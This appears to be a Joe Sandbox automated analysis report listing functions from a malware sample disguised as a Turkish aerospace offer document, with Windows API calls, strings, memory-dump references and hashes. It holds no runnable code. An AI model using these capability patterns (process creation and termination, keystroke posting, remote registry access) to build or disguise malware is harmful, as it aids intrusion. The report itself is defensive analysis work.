Instruction Fuzzy Hash: 7FF18A71A00209EFDF14DF98C884EAEBBB9FF49314F108099FA45AB255DB75AE41CB50

Function 0101F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0101F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0101F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0101F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0101F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0101F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0101FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0101FA7C
CloseHandle.KERNEL32(?), ref: 0101FAAB
CloseHandle.KERNEL32(?), ref: 0101FB22

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 3ba64a103cfbdd64140d5a29a78f9508aaae76639c0a07a3d18fcc18ca6e9d9c
Instruction ID: 686f18b159859a860dba05d8dd8fc2f1f06df0ad8caae30a9a07b3245834ae2a
Opcode Fuzzy Hash: 3ba64a103cfbdd64140d5a29a78f9508aaae76639c0a07a3d18fcc18ca6e9d9c
Instruction Fuzzy Hash: 89E1CF712043029FD714EF28C881B6ABBE1BF85354F18856DF8C58B2A6CB39EC45DB52

Function 01004CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,01003697,?), ref: 0100468B

Part of subcall function 0100466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,01003697,?), ref: 010046A4

Part of subcall function 01004A31: GetFileAttributesW.KERNEL32(?,0100370B), ref: 01004A32

lstrcmpiW.KERNEL32(?,?), ref: 01004D40
_wcscmp.LIBCMT ref: 01004D5A
MoveFileW.KERNEL32(?,?), ref: 01004D75

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: e55f6ffad56e36fcf7db09c5353d7386da62d7f562d5286a0e244791592e0dcf
Instruction ID: ae10e55bccebd5a789f22f8fa80e5170580d37b7132517fb60b3389eabc2f59f
Opcode Fuzzy Hash: e55f6ffad56e36fcf7db09c5353d7386da62d7f562d5286a0e244791592e0dcf
Instruction Fuzzy Hash: EE5151B20083459BD765EBA4DC81DDF77ECAF85350F00092EA2C5D3191EE75A288C76A

Function 01028645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 010286FF

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 5503a2379b09a0810014d19774534e420cfd0694775474bc42c5a6cd5405f0ba
Instruction ID: df39795b0103bf5f8ea810f1874bfab92f9312c9df67d6be4f3165214336bc30
Opcode Fuzzy Hash: 5503a2379b09a0810014d19774534e420cfd0694775474bc42c5a6cd5405f0ba
Instruction Fuzzy Hash: 6251B538600265BEEB709E28DC89FAD3BE4FB09750F208157FAD0E61A1D77AE550CB50

Function 00FA2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00FDC2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00FDC319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00FDC331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00FDC34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00FDC370
DestroyIcon.USER32(00000000), ref: 00FDC37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00FDC39C
DestroyIcon.USER32(?), ref: 00FDC3AB

Part of subcall function 0102A4AF: DeleteObject.GDI32(00000000), ref: 0102A4E8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: b5aa75f527e539386d78eb92ef5d903ad6e2c2b7348cb8122b41fedad4edb77c
Instruction ID: a561a58bd1af71229d540d1875066c35c682b30b2eb3d2713661b0c83f0587f3
Opcode Fuzzy Hash: b5aa75f527e539386d78eb92ef5d903ad6e2c2b7348cb8122b41fedad4edb77c
Instruction Fuzzy Hash: 76518CB1A00206AFDB24DF28CC45FAA37B5FB59360F104529F942D7290DB75ED50EBA0

Function 00FF966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FFA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FFA84C
Part of subcall function 00FFA82C: GetCurrentThreadId.KERNEL32 ref: 00FFA853
Part of subcall function 00FFA82C: AttachThreadInput.USER32(00000000,?,00FF9683,?,00000001), ref: 00FFA85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 00FF968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00FF96AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00FF96AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FF96B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00FF96D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FF96D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FF96E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00FF96F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FF96FB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 03dd5c3b570503773eb0c6edd82ad8833451038d5b294ea7c1ada9da20856aaa
Instruction ID: 101b5bb63a9ba96aa2be30730202df7b53e38d4dade395f355ffb105ea822cc1
Opcode Fuzzy Hash: 03dd5c3b570503773eb0c6edd82ad8833451038d5b294ea7c1ada9da20856aaa
Instruction Fuzzy Hash: B711ACB1910219BAF6306F70DC89F6A7A2DEB4C791F600415F384AB0A4CAF75C10DBA4

Function 00FF8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00FF853C,00000B00,?,?), ref: 00FF892A
HeapAlloc.KERNEL32(00000000,?,00FF853C,00000B00,?,?), ref: 00FF8931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00FF853C,00000B00,?,?), ref: 00FF8946
GetCurrentProcess.KERNEL32(?,00000000,?,00FF853C,00000B00,?,?), ref: 00FF894E
DuplicateHandle.KERNEL32(00000000,?,00FF853C,00000B00,?,?), ref: 00FF8951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00FF853C,00000B00,?,?), ref: 00FF8961
GetCurrentProcess.KERNEL32(00FF853C,00000000,?,00FF853C,00000B00,?,?), ref: 00FF8969
DuplicateHandle.KERNEL32(00000000,?,00FF853C,00000B00,?,?), ref: 00FF896C
CreateThread.KERNEL32(00000000,00000000,00FF8992,00000000,00000000,00000000), ref: 00FF8986

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 17012222bbaa939442b63e1b72a861c3a3d567e4f7ac78a5f1e55747ad00da16
Instruction ID: fc3f335b94a4e315ca1486092fb20efae0123098045d89b12021fe6059f60fe6
Opcode Fuzzy Hash: 17012222bbaa939442b63e1b72a861c3a3d567e4f7ac78a5f1e55747ad00da16
Instruction Fuzzy Hash: 4201FF75240308BFE730AFA5DC4EF677B6CEB89750F604410FA04DB195CA759800CB20

Function 01019B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 01019BA4, 01019EC8
Not an Object type, xrefs: 01019B7B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: ad75fb491080a8416482130d866be654a0cedd4be75d2316a2a6a9650235aad4
Instruction ID: 5fcf705b513fa660d4bca170e587f60dde1efb2e3c4dff9d37c5f4c5519ade15
Opcode Fuzzy Hash: ad75fb491080a8416482130d866be654a0cedd4be75d2316a2a6a9650235aad4
Instruction Fuzzy Hash: F2C1D571A0020A9FDF10DF98C894BEEB7F5FF48318F148469EA85AB285E775AD40CB50

Function 01019113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01019167
VariantInit.OLEAUT32(?), ref: 01019238
VariantInit.OLEAUT32(?), ref: 01019339
VariantClear.OLEAUT32(?), ref: 01019343
VariantClear.OLEAUT32(?), ref: 010193A0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0101931C
Null Object assignment in FOR..IN loop, xrefs: 010191C8, 010192F6, 010193AE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: da0eeb744b6c5ccbf5b07686ad46190225736f0a9dbb0ba949518ee750a2ac7c
Instruction ID: 8f055e3e459a5479f1aaad294c08904720d1224bab1f7ece3549a86194cc5202
Opcode Fuzzy Hash: da0eeb744b6c5ccbf5b07686ad46190225736f0a9dbb0ba949518ee750a2ac7c
Instruction Fuzzy Hash: BB91B171A00205ABDF24CFA5C858FAEBBB8EF45718F00855DF945AB284D7789941CFA0

Function 0101975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00FF710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?,?,00FF7455), ref: 00FF7127
Part of subcall function 00FF710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?), ref: 00FF7142
Part of subcall function 00FF710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?), ref: 00FF7150
Part of subcall function 00FF710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?), ref: 00FF7160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 01019806
_memset.LIBCMT ref: 01019813
_memset.LIBCMT ref: 01019956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 01019982
CoTaskMemFree.OLE32(?), ref: 0101998D

Strings

NULL Pointer assignment, xrefs: 010199DB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: eca49ceea6b24e0021c964d8f369492b1e18c550f1e002d8873ba8292d080c09
Instruction ID: 05ae456b2acc661ba762162f66d90ded8761c7729de8546978293831f6e4c934
Opcode Fuzzy Hash: eca49ceea6b24e0021c964d8f369492b1e18c550f1e002d8873ba8292d080c09
Instruction Fuzzy Hash: 33914771D00229EBDB10DFA5CC90EDEBBB9AF09750F20415AF519A7281DB75AA04CFA0

Function 01026D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 01026E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 01026E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 01026E52
_wcscat.LIBCMT ref: 01026EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 01026EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 01026EF2

Strings

SysListView32, xrefs: 01026DF6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: a4c8d1475d5cbf0046025214aeefc17d69ff8a7fbcea3c2bef3eed533e01c5d4
Instruction ID: 2fd6813256b350b24433cd9e55ef0c07f2093da32bb578aa2dae33c1c89e5bec
Opcode Fuzzy Hash: a4c8d1475d5cbf0046025214aeefc17d69ff8a7fbcea3c2bef3eed533e01c5d4
Instruction Fuzzy Hash: 8F41A170900319EBEF219F68CC85FEE77F8EF08390F10046AF9C5A7291D67699848B60

Function 0101E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 01003C55: CreateToolhelp32Snapshot.KERNEL32 ref: 01003C7A
Part of subcall function 01003C55: Process32FirstW.KERNEL32(00000000,?), ref: 01003C88
Part of subcall function 01003C55: CloseHandle.KERNEL32(00000000), ref: 01003D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0101E9A4
GetLastError.KERNEL32 ref: 0101E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0101E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0101EA63
GetLastError.KERNEL32(00000000), ref: 0101EA6E
CloseHandle.KERNEL32(00000000), ref: 0101EAA3

Strings

SeDebugPrivilege, xrefs: 0101E9C2

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 1f5b46e941c41b074435a7936c508b559f0234e2177ecd4ec49758364065ce30
Instruction ID: 348961450ca891f57e37b6f94e895883f3f6cdbc69f6b01e552be25b14dc9305
Opcode Fuzzy Hash: 1f5b46e941c41b074435a7936c508b559f0234e2177ecd4ec49758364065ce30
Instruction Fuzzy Hash: F941CE712002019FDB26EF14CC95F6EBBE5AF45314F588458FA829F2D6CBBDA804DB91

Function 01002F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 01003033

Strings

warning, xrefs: 0100301C
blank, xrefs: 01002FB5
stop, xrefs: 01003004
question, xrefs: 01002FEC
info, xrefs: 01002FD4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: f4e26875cf3ae1c6b1fcb01b38e7e6b8e6f6fb0f77aa10ef57095bea44932248
Instruction ID: c4f4c100978cd1aa8c6e603fa05dcb4726524e89e426772a1ff0762bfcd29b09
Opcode Fuzzy Hash: f4e26875cf3ae1c6b1fcb01b38e7e6b8e6f6fb0f77aa10ef57095bea44932248
Instruction Fuzzy Hash: A7114631249346BEF757CA19DC42D6F3B9CEF05360F10406EFE40AA1C2DA645A0046A0

Function 010042F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 01004312
LoadStringW.USER32(00000000), ref: 01004319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0100432F
LoadStringW.USER32(00000000), ref: 01004336
_wprintf.LIBCMT ref: 0100435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0100437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 01004357

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 7a1c868318c16d703696e3a1eca9354571f60036fc6511f70af6e0b82e03e29d
Instruction ID: 0fde3e72510e1534c5b68c354edb2f20e9d58da341cb7770b2a3d2476990d819
Opcode Fuzzy Hash: 7a1c868318c16d703696e3a1eca9354571f60036fc6511f70af6e0b82e03e29d
Instruction Fuzzy Hash: EF01A2F2900209BFE7719BA0DD89EEB777CEB08240F504095FB89E2041EA395E844B74

Function 0102D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

GetSystemMetrics.USER32(0000000F), ref: 0102D47C
GetSystemMetrics.USER32(0000000F), ref: 0102D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0102D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0102D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0102D716
ShowWindow.USER32(00000003,00000000), ref: 0102D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0102D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0102D77D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 69d131c8ece6814a21e3ac501afe941feefdd2f306a4d3f3426ac350cfe7edb3
Instruction ID: 3e5228dcbb32cd525ff821c07a5fc2cab25d472005d792c2b978813c9a2953d7
Opcode Fuzzy Hash: 69d131c8ece6814a21e3ac501afe941feefdd2f306a4d3f3426ac350cfe7edb3
Instruction Fuzzy Hash: 3AB17C71500225AFDF24CFA8C5897AD7BF1FF48701F0480A9ED889F299E779A950CB90

Function 0101FD11 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 01020E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101FDAD,?,?), ref: 01020E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0101FDEE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
